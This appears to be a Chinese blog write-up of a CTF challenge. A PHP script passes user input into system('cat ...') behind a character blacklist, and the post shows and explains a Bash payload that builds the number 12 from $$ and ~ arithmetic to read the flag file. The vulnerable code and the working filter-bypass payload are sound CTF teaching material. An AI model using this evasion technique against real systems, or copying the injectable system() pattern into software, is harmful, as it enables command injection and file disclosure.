当前位置: 首页 > news >正文

linux 利用 ~$() 构造数字

2024.6.1

题目

<?php
//flag in 12.php
error_reporting(0);
if(isset($_GET['x'])){
    $x = $_GET['x'];
    if(!preg_match("/[a-z0-9;`|#'\"%&\x09\x0a><.,?*\-=\\[\]]/i", $x)){
            system("cat ".$x.".php");
    }
}else{
    highlight_file(__FILE__);
}
?>

payload

x=$((~$(($(($(($$))$((~$(($$))))))$(($(($$))$((~$(($$))))))$(($(($$))$((~$(($$))))))$(($(($$))$((~$(($$))))))$(($(($$))$((~$(($$))))))$(($(($$))$((~$(($$))))))$(($(($$))$((~$(($$))))))$(($(($$))$((~$(($$))))))$(($(($$))$((~$(($$))))))$(($(($$))$((~$(($$))))))$(($(($$))$((~$(($$))))))$(($(($$))$((~$(($$))))))$(($(($$))$((~$(($$))))))))))

解析

  • ​$(())​ 是一种用于进行算术运算的Shell语法。它可以用来计算数学表达式的值,并将结果输出到标准输出
  • ​$$​ 代表当前进程的 ID

因此, $(($$))​ 的意思是:获取当前进程的 ID

由此可以得到 一个获取 -1​ 的单元

​$(($(($$))$((~$(($$))))))

由此只要不断叠加单元就可以获得任何数据

例如获取 数字 3 (这里为了观赏性采用换行表现)

$((~$((
    $(($(($$))$((~$(($$))))))
    ​$(($(($$))$((~$(($$))))))
    ​$(($(($$))$((~$(($$))))))
    ​$(($(($$))$((~$(($$))))))
))))
http://www.dtcms.com/a/10468.html

相关文章:

  • 【TB作品】MSP430G2553单片机,智能储物柜
  • R 语言入门学习笔记:软件安装踩坑记录——删除所有包以及彻底解决库包被安装到 C 盘用户目录下的问题,以及一些其他需要注意的点
  • 设计模式-原型模式
  • Java(八)——String类
  • Redis 哨兵(Sentinel)
  • 并发——线程
  • Linux-struct list_head的快速使用
  • 流媒体内网穿透/组网/视频协议转换EasyNTS上云网关如何更改密码?
  • 阿里云部署nodejs
  • 2024蓝桥杯国赛C++研究生组游记+个人题解
  • allure测试报告用例数和 pytest执行用例数不相同问题
  • 【Java】面向对象的三大特征:封装、继承、多态
  • 最低要求条件下的商环定义
  • 【2.文件和目录相关(下)】
  • 网络运维的重要性
  • # Java 基础面试300题 (51-80)
  • 互联网政务应用安全管理规定:使用安全连接方式访问
  • [AI OpenAI] 通过隐蔽影响行动破坏AI的欺骗性使用
  • php TP8 阿里云短信服务SDKV 2.0(跳大坑)
  • 远程连接服务器
  • Kotlin 泛型
  • cocos creator 3.x实现手机虚拟操作杆
  • Python 关于字符串格式化
  • 【Linux】将U盘中的程序更新到开发板中 shell 脚本
  • VRTK4教程 一:资源导入、Unity设置、连接头盔
  • SO3控制器原理与实现(对飞行器的控制实践)
  • 算法(十一)贪婪算法
  • 9秒爬取庆余年2分集剧情
  • 牛客小白月赛95 (个人题解)(待完成)
  • UDP通信